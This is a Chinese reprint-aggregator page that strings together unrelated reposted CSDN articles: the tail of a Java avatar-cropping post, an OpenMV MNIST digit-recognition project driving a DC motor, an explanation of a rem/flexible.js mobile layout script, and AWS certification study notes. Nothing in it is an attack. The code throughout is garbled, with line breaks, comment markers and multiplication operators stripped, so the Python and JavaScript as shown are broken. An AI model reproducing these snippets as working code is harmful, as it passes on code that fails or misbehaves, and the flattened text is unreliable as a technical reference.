cropFilter)); BufferedImage tag = new BufferedImage(destWidth, destHeight, BufferedImage.TYPE_INT_RGB); Graphics g = tag.getGraphics(); g.drawImage(img, 0, 0, null); // 绘制缩小后的图 g.dispose(); // 输出为文件 ImageIO.write(tag, "JPEG", new File(dirImageFile)); } } catch (Exception e) { e.printStackTrace(); } } 最后一个处理的比较好的地方就是图片的存储路径问题: 我在服务器端的nginx中做了一个图片的地址映射,把图片放到了跟程序不同的路径中,每次存储图片都是存到图片路径中,客户端拿到图片的地址确实经过nginx映射过的地址。 还有就是关于限制上传图片的大小的问题: 我在服务器端显示了资源的最大大小为1M,当上传的资源超过1M,服务器自动报错413,通过异常处理,可以在客户端得到正确的提示信息。 4,总结优点和不足。 关于修改头像,这么做下来确实达到了目的,用户可以从容的修改头像,性能也还可以。但是,上传图片的大小判断是依靠服务器端来判断的,等待的时间比较久,改进的方向是使用flash控件来限制,使用flash来上传,也不会出现弹出层,这样比较大众化,更容易为用户接受一点。我会不断改进。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39849287/article/details/111489534。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-18 10:58:17
268
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 文章目录 前言 一、数字识别的模型训练 1.下载训练集 2.对数据进行调整 2.1 将ubyte格式转为jpg格式 2.2 将图片按照标签分类到具体文件夹 2.3 数据存在的缺陷 2.4 优化建议(核心) 二、模型训练 三、项目实现 1. 代码实现 2. 采用器件 2. 注意事项 总结 前言 第一次接触OpenMV也是第一次将理论用于实践,是老师让我实现的一个小测验,这几天完成后决定写下完整的过程。本文主要是当缝合怪,借鉴和参考了其他人的代码再根据我个人设备进行了一定的调整,此外还包括了我自身实践过程中的一些小意外。 !!!一定要根据个人器件型号和个人设备来参考 一、数字识别的模型训练 1.下载训练集 研究期间,我发现大部分人以及官网教程采用的都是自己拍摄照片再进行网络训练,存在的缺陷就是数据集较小不全面、操作繁琐。个人认为如果是对标准的数字进行识别,自己手动拍取照片进行识别足够了。但想要应用于更广泛的情况,应该寻找更大的数据集,所以我找到了国外手写数字的数据集MNIST。建议四个文件都下载 数据链接:MINIST数据集 2.对数据进行调整 2.1 将ubyte格式转为jpg格式 代码参考链接:python将ubyte格式的MNIST数据集转成jpg图片格式并保存 import numpy as npimport cv2import osimport structdef trans(image, label, save):image位置,label位置和转换后的数据保存位置if 'train' in os.path.basename(image):prefix = 'train'else:prefix = 'test'labelIndex = 0imageIndex = 0i = 0lbdata = open(label, 'rb').read()magic, nums = struct.unpack_from(">II", lbdata, labelIndex)labelIndex += struct.calcsize('>II')imgdata = open(image, "rb").read()magic, nums, numRows, numColumns = struct.unpack_from('>IIII', imgdata, imageIndex)imageIndex += struct.calcsize('>IIII')for i in range(nums):label = struct.unpack_from('>B', lbdata, labelIndex)[0]labelIndex += struct.calcsize('>B')im = struct.unpack_from('>784B', imgdata, imageIndex)imageIndex += struct.calcsize('>784B')im = np.array(im, dtype='uint8')img = im.reshape(28, 28)save_name = os.path.join(save, '{}_{}_{}.jpg'.format(prefix, i, label))cv2.imwrite(save_name, img)if __name__ == '__main__':需要更改的文件路径!!!!!!此处是原始数据集位置train_images = 'C:/Users/ASUS/Desktop/train-images.idx3.ubyte'train_labels = 'C:/Users/ASUS/Desktop/train-labels.idx1.ubyte'test_images ='C:/Users/ASUS/Desktop/t10k-images.idx3.ubyte'test_labels = 'C:/Users/ASUS/Desktop/t10k-labels.idx1.ubyte'此处是我们将转化后的数据集保存的位置save_train ='C:/Users/ASUS/Desktop/MNIST/train_images/'save_test ='C:/Users/ASUS/Desktop/MNIST/test_images/'if not os.path.exists(save_train):os.makedirs(save_train)if not os.path.exists(save_test):os.makedirs(save_test)trans(test_images, test_labels, save_test)trans(train_images, train_labels, save_train) 2.2 将图片按照标签分类到具体文件夹 文章参考链接:python实现根据文件名自动分类转移至不同的文件夹 注意:为了适合这个数据集和我的win11系统对代码进行了一点调整,由于数据很多如果只需要部分数据一定要将那些数据单独放在一个文件夹。 导入库import osimport shutil 当前文件夹所在的路径,使用时需要进行修改current_path = 'C:/Users/ASUS/Desktop/MNIST/test'print('当前文件夹为:' + current_path) 读取该路径下的文件filename_list = os.listdir(current_path) 建立文件夹并且进行转移 假设原图片名称 test_001_2.jpgfor filename in filename_list:name1, name2, name3 = filename.split('_') name1 = test name2 = 001 name3 = 2.jpgname4, name5 = name3.split('.') name4 = 2 name5 = jpgif name5 == 'jpg' or name5 == 'png':try:os.mkdir(current_path+'/'+name4)print('成功建立文件夹:'+name4)except:passtry:shutil.move(current_path+'/'+filename, current_path+'/'+name4[:])print(filename+'转移成功!')except Exception as e:print('文件 %s 转移失败' % filename)print('转移错误原因:' + e)print('整理完毕!') 2.3 数据存在的缺陷 数据集内的图片数量很多,由于后面介绍的云端训练的限制,只能采用部分数据(本人采用的是1000张,大家可以自行增减数目)。 数据集为国外的数据集,很多数字写的跟我们不一样。如果想要更好的适用于我们国内的场景,可以对数据集进行手动的筛选。下面是他们写的数字2: 可以看出跟我们的不一样,不过数据集中仍然存在跟常规书写的一样的,我们需要进行人为的筛选。 2.4 优化建议(核心) 分析发现,部分数字精度不高的原因主要是国外手写很随意,我们可以通过调整网络参数(如下)、人为筛选数据(如上)、增大数据集等方式进行优化。 二、模型训练 主要参考文章:通过云端自动生成openmv的神经网络模型,进行目标检测 !!!唯一不同的点是我图像参数设置的是灰度而不是上述文章的RGB。 下面是我模型训练时的参数设置(仅供参考): 通过混淆矩阵可以看出,主要的错误在于数字2、6、8。我们可以通过查看识别错误的数字来分析可能的原因。 三、项目实现 !!!我们需要先将上述步骤中导出文件中的所有内容复制粘贴带OpenMV中自带的U盘中。然后将其中的.py文件名称改为main 1. 代码实现 本人修改后的完整代码展示如下,使用的是OpenMV IDE(官网下载): 数字识别后控制直流电机转速from pyb import Pin, Timerimport sensor, image, time, os, tf, math, random, lcd, uos, gc 根据识别的数字输出不同占比的PWM波def run(number):if inverse == True:ain1.low()ain2.high()else:ain1.high()ain2.low()ch1.pulse_width_percent(abs(number10)) 具体参数调整自行搜索sensor.reset() 初始化感光元件sensor.set_pixformat(sensor.GRAYSCALE) set_pixformat : 设置像素模式(GRAYSCALSE : 灰色; RGB565 : 彩色)sensor.set_framesize(sensor.QQVGA2) set_framesize : 设置处理图像的大小sensor.set_windowing((128, 160)) set_windowing : 设置提取区域大小sensor.skip_frames(time = 2000) skip_frames :跳过2000ms再读取图像lcd.init() 初始化lcd屏幕。inverse = False True : 电机反转 False : 电机正转ain1 = Pin('P1', Pin.OUT_PP) 引脚P1作为输出ain2 = Pin('P4', Pin.OUT_PP) 引脚P4作为输出ain1.low() P1初始化低电平ain2.low() P4初始化低电平tim = Timer(2, freq = 1000) 采用定时器2,频率为1000Hzch1 = tim.channel(4, Timer.PWM, pin = Pin('P5'), pulse_width_percent = 100) 输出通道1 配置PWM模式下的定时器(高电平有效) 端口为P5 初始占空比为100%clock = time.clock() 设置一个时钟用于追踪FPS 加载模型try:net = tf.load("trained.tflite", load_to_fb=uos.stat('trained.tflite')[6] > (gc.mem_free() - (641024)))except Exception as e:print(e)raise Exception('Failed to load "trained.tflite", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 加载标签try:labels = [line.rstrip('\n') for line in open("labels.txt")]except Exception as e:raise Exception('Failed to load "labels.txt", did you copy the .tflite and labels.txt file onto the mass-storage device? (' + str(e) + ')') 不断的进行运行while(True):clock.tick() 更新时钟img = sensor.snapshot().binary([(0,64)]) 抓取一张图像以灰度图显示lcd.display(img) 拍照并显示图像for obj in net.classify(img, min_scale=1.0, scale_mul=0.8, x_overlap=0.5, y_overlap=0.5): 初始化最大值和标签max_num = -1max_index = -1print("\nPredictions at [x=%d,y=%d,w=%d,h=%d]" % obj.rect())img.draw_rectangle(obj.rect()) 预测值和标签写成一个列表predictions_list = list(zip(labels, obj.output())) 输出各个标签的预测值,找到最大值进行输出for i in range(len(predictions_list)):print('%s 的概率为: %f' % (predictions_list[i][0], predictions_list[i][1]))if predictions_list[i][1] > max_num:max_num = predictions_list[i][1]max_index = int(predictions_list[i][0])run(max_index)print('该数字预测为:%d' % max_index)print('FPS为:', clock.fps())print('PWM波占空比为: %d%%' % (max_index10)) 2. 采用器件 使用的器件为OpenMV4 H7 Plus和L298N以及常用的直流电机。关键是找到器件的引脚图,再进行简单的连线即可。 参考文章:【L298N驱动模块学习笔记】–openmv驱动 参考文章:【openmv】原理图 引脚图 2. 注意事项 上述代码中我用到了lcd屏幕,主要是为了方便离机操作。使用过程中,OpenMV的lcd初始化时会重置端口,所有我们在输出PWM波的时候一定不要发生引脚冲突。我们可以在OpenMV官网查看lcd用到的端口: 可以看到上述用到的是P0、P2、P3、P6、P7和P8。所有我们输出PWM波时要避开这些端口。下面是OpenMV的PWM资源: 总结 本人第一次自己做东西也是第一次使用python,所以代码和项目写的都很粗糙,只是简单的识别数字控制直流电机。我也是四处借鉴修改后写下的大小,这篇文章主要是为了给那些像我一样的小白们提供一点帮助,减少大家查找资料的时间。模型的缺陷以及改进方法上述中已经说明,如果我有写错或者大家有更好的方法欢迎大家告诉我,大家一起进步! 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_57100435/article/details/130740351。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-10 08:44:41
282
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 旧版rem布局 《手机端页面自适应解决方案—rem布局》, 此方案仅适用于移动端web 文章底部常见问题说明第四条,笔者已给出一个相当便捷的解决方案,欢迎留言交流。(2017/9/9) 该方案使用相当简单,把下面这段已压缩过的 原生JS(仅1kb,源码已在文章底部更新,2017/5/3) 放到 HTML 的 head 标签中即可(注:不要手动设置viewport,该方案自动帮你设置) <script>!function(e){function t(a){if(i[a])return i[a].exports;var n=i[a]={exports:{},id:a,loaded:!1};return e[a].call(n.exports,n,n.exports,t),n.loaded=!0,n.exports}var i={};return t.m=e,t.c=i,t.p="",t(0)}([function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=window;t["default"]=i.flex=function(normal,e,t){var a=e||100,n=t||1,r=i.document,o=navigator.userAgent,d=o.match(/Android[\S\s]+AppleWebkit\/(\d{3})/i),l=o.match(/U3\/((\d+|\.){5,})/i),c=l&&parseInt(l[1].split(".").join(""),10)>=80,p=navigator.appVersion.match(/(iphone|ipad|ipod)/gi),s=i.devicePixelRatio||1;p||d&&d[1]>534||c||(s=1);var u=normal?1:1/s,m=r.querySelector('meta[name="viewport"]');m||(m=r.createElement("meta"),m.setAttribute("name","viewport"),r.head.appendChild(m)),m.setAttribute("content","width=device-width,user-scalable=no,initial-scale="+u+",maximum-scale="+u+",minimum-scale="+u),r.documentElement.style.fontSize=normal?"50px": a/2sn+"px"},e.exports=t["default"]}]); flex(false,100, 1);</script> 代码原理 这是阿里团队的高清方案布局代码,所谓高清方案就是利用rem的特性(我们知道默认情况下html的1rem = 16px),根据设备屏幕的DPR(设备像素比,又称DPPX,比如dpr=2时,表示1个CSS像素由4个物理像素点组成)根据设备DPR动态设置 html 的font-size为(50 dpr),同时调整页面的压缩比率(即:1/dpr),进而达到高清效果。 有何优势 引用简单,布局简便 根据设备屏幕的DPR,自动设置最合适的高清缩放。 保证了不同设备下视觉体验的一致性。(老方案是,屏幕越大元素越大;此方案是,屏幕越大,看的越多) 有效解决移动端真实1px问题(这里的1px 是设备屏幕上的物理像素) 如何使用 重要的事情说三遍! 绝不是每个地方都要用rem,rem只适用于固定尺寸! 绝不是每个地方都要用rem,rem只适用于固定尺寸! 绝不是每个地方都要用rem,rem只适用于固定尺寸! 在相当数量的布局情境中(比如底部导航元素平分屏幕宽,大尺寸元素),你必须使用百分比或者flex才能完美布局! 看过 《手机端页面自适应解决方案—rem布局》的朋友,应该对rem有所了解,这里不再赘述, 此方案也是默认 1rem = 100px,所以你布局的时候,完全可以按照设计师给你的效果图写各种尺寸啦。 比如你在效果图上量取的某个按钮元素长 55px, 宽37px ,那你直接可以这样写样式: .myBtn {width: 0.55rem;height: 0.37rem;} rem布局(进阶版)实践应用 iPhone5 下页面效果.png iPhone 6 Plus 下页面效果.png 为了让朋友们更清晰感受此方案的巨大优势,下面是源码和Demo 实践应用1(请在手机端或者手机模式下浏览效果更佳!) 实践应用2(请在手机端或者手机模式下浏览效果更佳!) 线上项目(请在手机端或者手机模式下浏览效果更佳!) 示例源码 在线Demo 常见问题说明,新手很有必要看一下(2017/1/19) 许多同学对该方案存在不少误解导致使用出现各种问题,这里统一回复下。 1.问:为啥手机网页效果图宽度是要640或者750的,我非得弄个666的不行咩? 答:老实说当然可以,不过为了规范,640或者750是相对合适的。 拿Iphone 5s 举例,它的css像素宽度是320px,由于它的dpr=2,所以它的物理像素宽度为320 × 2 = 640px,这也就是为什么,你在5s上截了一张图,在电脑上打开,它的原始宽度是640px的原因。 那 iphone 6 的截图宽度呢? 375 × 2 = 750 那 iphone 6 sp 的截图宽度呢? 414 × 3 = 1242 以此类推,你现在能明白效果图为什么一般是 640 ,750 甚至是 1242 的原因了么?(真没有歧视安卓机的意思。。。) 2.问:宽度用rem写的情况下, 在 iphone6 上没问题, 在 iphone5上会有横向滚动条,何解? 答:假设你的效果图宽度是750,在这个效果图上可能有一个宽度为7rem(高清方案默认 1rem = 100px)的元素。我们知道,高清方案的特点就是几乎完美还原效果图,也就是说,你写了一个宽度为 7rem 的元素,那么在目前主流移动设备上都是7rem。然而,iphone 5 的宽度为640,也就是6.4rem。于是横向滚动条不可避免的出现了。 怎么办呢? 这是我目前推荐的比较安全的方式:如果元素的宽度超过效果图宽度的一半(效果图宽为640或750),果断使用百分比宽度,或者flex布局。就像把等屏宽的图片宽度设为100%一样。 3.问:不是 1rem = 100px吗,为什么我的代码写了一个宽度为3rem的元素,在电脑端的谷歌浏览器上宽度只有150px? 答:先说高清方案代码,再次强调咱们的高清方案代码是根据设备的dpr动态设置html 的 font-size, 如果dpr=1(如电脑端),则html的font-size为50px,此时 1rem = 50px 如果dpr=2(如iphone 5 和 6),则html的font-size为100px,此时 1rem = 100px 如果dpr=3(如iphone 6 sp),则html的font-size为150px,此时 1rem = 150px 如果dpr为其他值,即便不是整数,如3.4 , 也是一样直接将dpr 乘以 50 。 再来说说效果图,一般来讲,我们的效果图宽度要么是640,要么是750,无论哪一个,它们对应设备的dpr=2,此时,1 rem = 50 × 2 = 100px。这也就是为什么高清方案默认1rem = 100px。而将1rem默认100px也是好处多多,可以帮你快速换算单位,比如在750宽度下的效果图,某元素宽度为53px,那么css宽度直接设为53/100=0.53rem了。 然而极少情况下,有设计师将效果图宽定为1242px,因为他手里只有一个iphone 6 sp (dpr = 3),设计完效果图刚好可以在他的iphone 6 sp里查看调整。一切完毕之后,他将这个效果图交给你来切图。由于这个效果图对应设备的dpr=3,也就是1rem = 50 × 3 = 150px。所以如果你量取了一个宽度为90px的元素,它的css宽度应该为 90/150=0.6rem。由于咱们的高清方案默认1rem=100px,为了还原效果图,你需要这样换算。当然,一个技巧就是你可以直接修改咱们的高清方案的默认设置。在代码的最后 你会看到 flex(false, 100, 1) ,将其修改成flex(false, 66.66667, 1)(感谢简友:V旅行指出此处错误! 2017/3/24)就不用那么麻烦的换算了,此时那个90px的直接写成0.9rem就可以了。 4.问:在此方案下,我如果引用了别的UI库,那些UI库的元素会显得特别小,如何解决? 答:可以这样去理解问题的原因,如果不用高清方案,别的UI库的元素在移动设备上(假设这个设备是iphone 5好了)显示是正常的,这没有问题,然后我们在这个设备上将该页面截图放到电脑上看,发现宽度是640(问答1解释过了),根据你的像素眼大致测量,你发现这个设备上的某个字体大小应该是12px,而你在电脑上测量应该是24px。 现在我们使用高清方案去还原这个页面,那么字体大小应该写为 0.24rem 才对! 所以,如果你引用了其他的UI库,为了兼容高清方案,你需要对该UI库里凡是应用px的地方做相应处理,即: a px => a0.02 rem (具体处理方式因人而异,有模块化开发经验的同学可使用类似的 px2rem 的插件去转化,也可以完全手动处理) (2017/9/9更新)然而真实情况往往更为复杂,比如,你引入了百度地图(N个样式需要处理转换);或者你引入了一个 framework;又或者你使用了 video 标签,上面默认的尺寸样式很难处理。等等这些棘手问题 面对这些情况,此时我们的高清方案如果不再压缩页面,那么以上问题将迎刃而解。 基于这样的思路,笔者对高清方案的源码做了如下修改,即添加一个叫做 normal 的参数,由它来控制页面是否压缩。 在文章顶部代码的最后,你会看到 flex(false, 100, 1),默认情况下页面是开启压缩的。 如果你需要禁止压缩,由于我们的源码执行后,直接将flex函数挂载到全局变量window上了,此时你直接在需要禁止压缩的页面执行 window.flex(true) 就可以了,而rem的用法保持不变。 有一点美中不足的是,如果禁止了页面压缩,高清屏的1像素就不能实现了,如果你必须要实现1像素,那么自行谷歌:css 0.5像素,有N多的解决方案,这里不再赘述。 5.问:有时候字体会不受控制的变大,怎么办? 答:在X5新内核Blink中,在排版页面的时候,会主动对字体进行放大,会检测页面中的主字体,当某一块字体在我们的判定规则中,认为字号较小,并且是页面中的主要字体,就会采取主动放大的操作。然而这不是我们想要的,可以采取给最大高度解决 解决方案: , :before, :after { max-height: 100000px } 补充:有同学反映,在一些情况下 textarea 标签内的字体大小即便加上上面的方案,字体也会变大,无法控制。此时你需要给 textarea 的 display 设为 table 或者 inline-table 即可恢复正常。(感谢 程序媛喵喵 对此的补充!2017/7/7) 6.问:我在底部导航用的flex感觉更合适一些,请问这样子混着用可以吗? 答:咱们的rem适合写固定尺寸。其余的根据需要换成flex或者百分比。源码示例中就有这三种的综合运用。 7.问:在高清方案下,一个标准的,较为理想的宽度为640的页面效果图应该是怎样的? 点击浏览:一个标准的640手机页面设计稿参考(没错,在此方案中,你可以完全按照这张设计稿的尺寸写布局了。就是这么简单!) 8.问:用了这个方案如何使用媒体查询呢? 一般来讲,使用了这个方案是没必要用媒体查询了,如果你必须要用,假设你要对 iphone5 (css像素宽度320px, 这里需要取其物理像素,也就是640)宽度下的类名做处理,你可以这样 @media screen and (max-width: 640px) {.yourLayout {width:100%;} } 9.问:可以提供下这个高清方案的源码吗? 'use strict';/ @param {Boolean} [normal = false] - 默认开启页面压缩以使页面高清; @param {Number} [baseFontSize = 100] - 基础fontSize, 默认100px; @param {Number} [fontscale = 1] - 有的业务希望能放大一定比例的字体;/const win = window;export default win.flex = (normal, baseFontSize, fontscale) => {const _baseFontSize = baseFontSize || 100;const _fontscale = fontscale || 1;const doc = win.document;const ua = navigator.userAgent;const matches = ua.match(/Android[\S\s]+AppleWebkit\/(\d{3})/i);const UCversion = ua.match(/U3\/((\d+|\.){5,})/i);const isUCHd = UCversion && parseInt(UCversion[1].split('.').join(''), 10) >= 80;const isIos = navigator.appVersion.match(/(iphone|ipad|ipod)/gi);let dpr = win.devicePixelRatio || 1;if (!isIos && !(matches && matches[1] > 534) && !isUCHd) {// 如果非iOS, 非Android4.3以上, 非UC内核, 就不执行高清, dpr设为1;dpr = 1;}const scale = normal ? 1 : 1 / dpr;let metaEl = doc.querySelector('meta[name="viewport"]');if (!metaEl) {metaEl = doc.createElement('meta');metaEl.setAttribute('name', 'viewport');doc.head.appendChild(metaEl);}metaEl.setAttribute('content', width=device-width,user-scalable=no,initial-scale=${scale},maximum-scale=${scale},minimum-scale=${scale});doc.documentElement.style.fontSize = normal ? '50px' : ${_baseFontSize / 2 dpr _fontscale}px;}; 10.问:我在使用 rem 布局进阶方案的时候遇到了XXX的问题,如何解决? 此方案久经考验,具有普遍适用性,自身出致命问题的情况很少,至少笔者是没遇到过。 绝大多数你遇到的问题,都是由于对rem布局理解不到位导致的。本文对rem布局做了大量的解释说明,配置了若干 demo,你可以把你遇到的问题放到demo里测试。遇到问题时,首先问自己,为什么这明显的错误大家没遇到就我遇到了?? 如果你真的经过充分验证,比对,确实是rem布局自身出了问题,那么请私信我,把还原问题场景的 demo 或者文件发给我。谢谢! 本篇文章为转载内容。原文链接:https://blog.csdn.net/hjhfreshman/article/details/88864894。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-23 12:01:53
133
转载
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 演讲者:黄涛 AWS高级技术讲师 下载地址:MP4完整视频下载 1. 邱洋的总结 AWS的服务和技术繁多,选择适合自己的方向,而不是什么都去学 AWS的学习资源异常丰富,包括视频、免费文档、在线实验、社区以及专家课程(收费) AWS的考试包括助理级和专家级,并且分别针对架构师、开发与运维人员 助理架构师考试主要针对:设计、实施部署、数据安全、故障排除等4个方面进行考核 AWS的架构师考试重点需要掌握7大“云设计架构”如:弹性原则、最小授权原则等等,熟悉这些非常有助于答题(就好比当初考车的文科一样,是有规律可循的) 多动手非常有助于通过考试,同时也是熟练掌握的不二法宝 助理架构师考试,建议考生拥有6个月AWS实战经验 专家级架构师考试,建议考生拥有2年的实战经验 2. 概述 2.1 AWS的服务列表概览 2.2 需要确定好自己的定位与方向 包括三个维度: - 什么行业 – (移动?视频?互联网?企业?金融?) - 解决什么问题 – 大规模分发?大数据?混合网络? - 使用哪些服务 – 虚拟主机?虚拟网络和安全?hadoop集群?数据仓库? 2.3 学习方法是以赛代练(步步实践,边学边用) 首先【观看自学视频】 然后听取【在线课堂】 理论差不多有,开始【动手实验室】(15个免费实验) 深入了解需要【详细查看文档】建议至少先从FAQ阅读,可以缩短很长时间 利用【免费AWS套餐】注意平时的理解和学习 再进行高级实验 需要了解各个服务之间的关联等,【听取讲师指导课程】,就可以高层次的了解服务内容 参加认证考试 2.4 AWS导师课程分类和级别 人员分类:解决方案师、开发人员、系统操作人员 课程分类:入门级、基础级、高级、专项 3. AWS认证的背景信息 3.1 认证的类型 助理级 – 助理架构师 – 助理开发人员 – 助理系统管理员 专家级 – 专家架构师 – 专家开发运维 认证共有5个,如果要参加专家级认证必须先通过助理级认证,其中“专家开发运维(devops)”的认证则通过任意(开发 or 运维)的助理级认证即可 3.2 获得认证后的收益? 对个人 – 可以证明个人在AWS平台上具备设计、部署和管理高可用、低成本、安全应用的能力 – 在工作上或社区中得到尊重和认可 – 可以把认证放到简历中,linkedin中整合了AWS认证徽章 对企业雇主 – 具备AWS上服务和工具的使用的认可 – 客户认可,降低AWS项目实施风险 – 增加客户满意度 3.3 再认证模式 因为AWS的服务在更新,因此每两年要重新认证(证件的有效期2年),再次参加考试时,题目、时间将会更少,且认证费用更低 3.4 助理架构师认证的知识领域 四大知识域 1 设计:高可用、高效率、可容错低、可扩展的系统 2 实施和部署:强调部署操作能力 3 数据安全性:在部署操作时,始终保持数据保存和传输的安全 4 排除故障:在系统出现问题时,可以快速找到问题并解决问题 知识权重 - 设计:60%的题目 - 实施和部署:10%的题目 - 数据安全:20%的题目 - 排除故障:10%的题目 PS:考试不会按照上面的次序、考试不会注明考试题目的分类 3.5 认证过程 需要在网上注册,找到距离家里比较近的地方考试(考点) 到了现场需要携带身份证,证明自己 并不允许带手机入场 证件上必须有照片 签署NDA保证不会泄露考题 考试中心的电脑中考试(80分钟,55个考题) 考试后马上知道分数和是否通过(不会看到每道题目是否正确) 通过后的成绩、认证证书等将发到email邮箱中 3.6 考试机制 助理级别考试的重点是:单一服务和小规模的组合服务的掌握程度 所有题目都是选择题(多选或单选) 不惩罚打错,所以留白没意义,可以猜一个 55道题 可以给不确定的题目打标签,没提交前都可以回来改答案 3.7 题目示例 单选题 多选题(会告诉你有多少个答案) 汇总查看答案以及mark(标记) 4 AWS架构的7大设计原则 4.1 松耦合 松耦合是容错、运维自动扩容的基础,在设计上应该尽量减少模块间的依赖性,将不会成为未来应用调整、发展的阻碍 松耦合模式的情况 不要标示(依赖)特定对象,依赖特定对象耦合性将非常高 – 使用负载均衡器 – 域名解析 – 弹性IP – 可以动态找到配合的对象,为松耦合带来方便,为应用将来的扩展带来好处 不要依赖其他模块的正确处理或及时的处理 – 使用尽量使用异步的处理,而不是同步的(SQS可以帮到用户) 4.2 模块出错后工作不会有问题 问问某个模块出了问题,应用会怎么样? 在设计的时候,在出了问题会有影响的模块,进行处理,建立自动恢复性 4.3 实现弹性 在设计上,不要假定模块是正常的、始终不变的 – 可以配合AutoScaling、EIP和可用区AZ来满足 允许模块的失败重启 – 无状态设计比有状态设计好 – 使用ELB、云监控去检测“实例”运行状态 有引导参数的实例(实现自动配置) – 例如:加入user data在启动的时候,告知它应该做的事情 在关闭实例的时候,保存其配置和个性化 – 例如用DynamoDB保存session信息 弹性后就不会为了超配资源而浪费钱了 4.4 安全是整体的事,需要在每个层面综合考虑 基础架构层 计算/网络架构层 数据层 应用层 4.5 最小授权原则 只付于操作者完成工作的必要权限 所有用户的操作必须授权 三种类型的权限能操作AWS – 主账户 – IAM用户 – 授权服务(主要是开发的app) 5 设计:高可用、高效率、可容错、可扩展的系统 本部分的目标是设计出高可用、高效率低成本、可容错、可扩展的系统架构 - 高可用 – 了解AWS服务自身的高可靠性(例如弹性负载均衡)—-因为ELB是可以多AZ部署的 – 用好这些服务可以减少可用性的后顾之忧 - 高效率(低成本) – 了解自己的容量需求,避免超额分配 – 利用不同的价格策略,例如:使用预留实例 – 尽量使用AWS的托管服务(如SNS、SQS) - 可容错 – 了解HA和容错的区别 – 如果说HA是结果,那么容错则是保障HA的一个重要策略 – HA强调系统不要出问题,而容错是在系统出了问题后尽量不要影响业务 - 可扩展性 – 需要了解AWS哪些服务自身就可以扩展,例如SQS、ELB – 了解自动伸缩组(AS) 运用好 AWS 7大架构设计原则的:松耦合、实现弹性 6 实施和部署设计 本部分的在设计的基础上找到合适的工具来实现 对比第一部分“设计”,第一章主要针对用什么,而第二章则讨论怎么用 主要考核AWS云的核心的服务目录和核心服务,包括: 计算机和网络 – EC2、VPC 存储和内容分发 – S3、Glacier 数据库相关分类 – RDS 部署和管理服务 – CloudFormation、CloudWatch、IAM 应用服务 – SQS、SNS 7 数据安全 数据安全的基础,是AWS责任共担的安全模型模型,必须要读懂 数据安全包括4个层面:基础设施层、计算/网络层、数据层、应用层 - 基础设施层 1. 基础硬件安全 2. 授权访问、流程等 - 计算/网络层 1. 主要靠VPC保障网络(防护、路由、网络隔离、易管理) 2. 认识安全组和NACLs以及他们的差别 安全组比ACL多一点,安全组可以针对其他安全组,ACL只能针对IP 安全组只允许统一,ACL可以设置拒绝 安全组有状态!很重要(只要一条入站规则通过,那么出站也可以自动通过),ACL没有状态(必须分别指定出站、入站规则) 安全组的工作的对象是网卡(实例)、ACL工作的对象是子网 认识4种网关,以及他们的差别 共有4种网关,支撑流量进出VPC internet gatway:互联网的访问 virtual private gateway:负责VPN的访问 direct connect:负责企业直连网络的访问 vpc peering:负责VPC的peering的访问 数据层 数据传输安全 – 进入和出AWS的安全 – AWS内部传输安全 通过https访问API 链路的安全 – 通过SSL访问web – 通过IP加密访问VPN – 使用直连 – 使用OFFLINE的导入导出 数据的持久化保存 – 使用EBS – 使用S3访问 访问 – 使用IAM策略 – 使用bucket策略 – 访问控制列表 临时授权 – 使用签名的URL 加密 – 服务器端加密 – 客户端加密 应用层 主要强调的是共担风险模型 多种类型的认证鉴权 给用户在应用层的保障建议 – 选择一种认证鉴权机制(而不要不鉴权) – 用安全的密码和强安全策略 – 保护你的OS(如打开防火墙) – 用强壮的角色来控制权限(RBAC) 判断AWS和用户分担的安全中的标志是,哪些是AWS可以控制的,那些不能,能的就是AWS负责,否则就是用户(举个例子:安全组的功能由AWS负责—是否生效,但是如何使用是用户负责—自己开放所有端口跟AWS无关) AWS可以保障的 用户需要保障的 工具与服务 操作系统 物理内部流程安全 应用程序 物理基础设施 安全组 网络设施 虚拟化设施 OS防火墙 网络规则 管理账号 8 故障排除 问题经常包括的类型: - EC2实例的连接性问题 - 恢复EC2实例或EBS卷上的数据 - 服务使用限制问题 8.1 EC2实例的连接性问题 经常会有多个原因造成无法连接 外部VPC到内部VPC的实例 – 网关(IGW–internet网关、VPG–虚拟私有网关)的添加问题 – 公司网络到VPC的路由规则设置问题 – VPC各个子网间的路由表问题 – 弹性IP和公有IP的问题 – NACLs(网络访问规则) – 安全组 – OS层面的防火墙 8.2 恢复EC2实例或EBS卷上的数据 注意EBS或EC2没有任何强绑定关系 – EBS是可以从旧实例上分离的 – 如有必要尽快做 将EBS卷挂载到新的、健康的实例上 执行流程可以针对恢复没有工作的启动卷(boot volume) – 将root卷分离出来 – 像数据一样挂载到其他实例 – 修复文件 – 重新挂载到原来的实例中重新启动 8.3 服务使用限制问题 AWS有很多软性限制 – 例如AWS初始化的时候,每个类型的EBS实例最多启动20个 还有一些硬性限制例如 – 每个账号最多拥有100个S3的bucket – …… 别的服务限制了当前服务 – 例如无法启动新EC2实例,原因可能是EBS卷达到上限 – Trusted 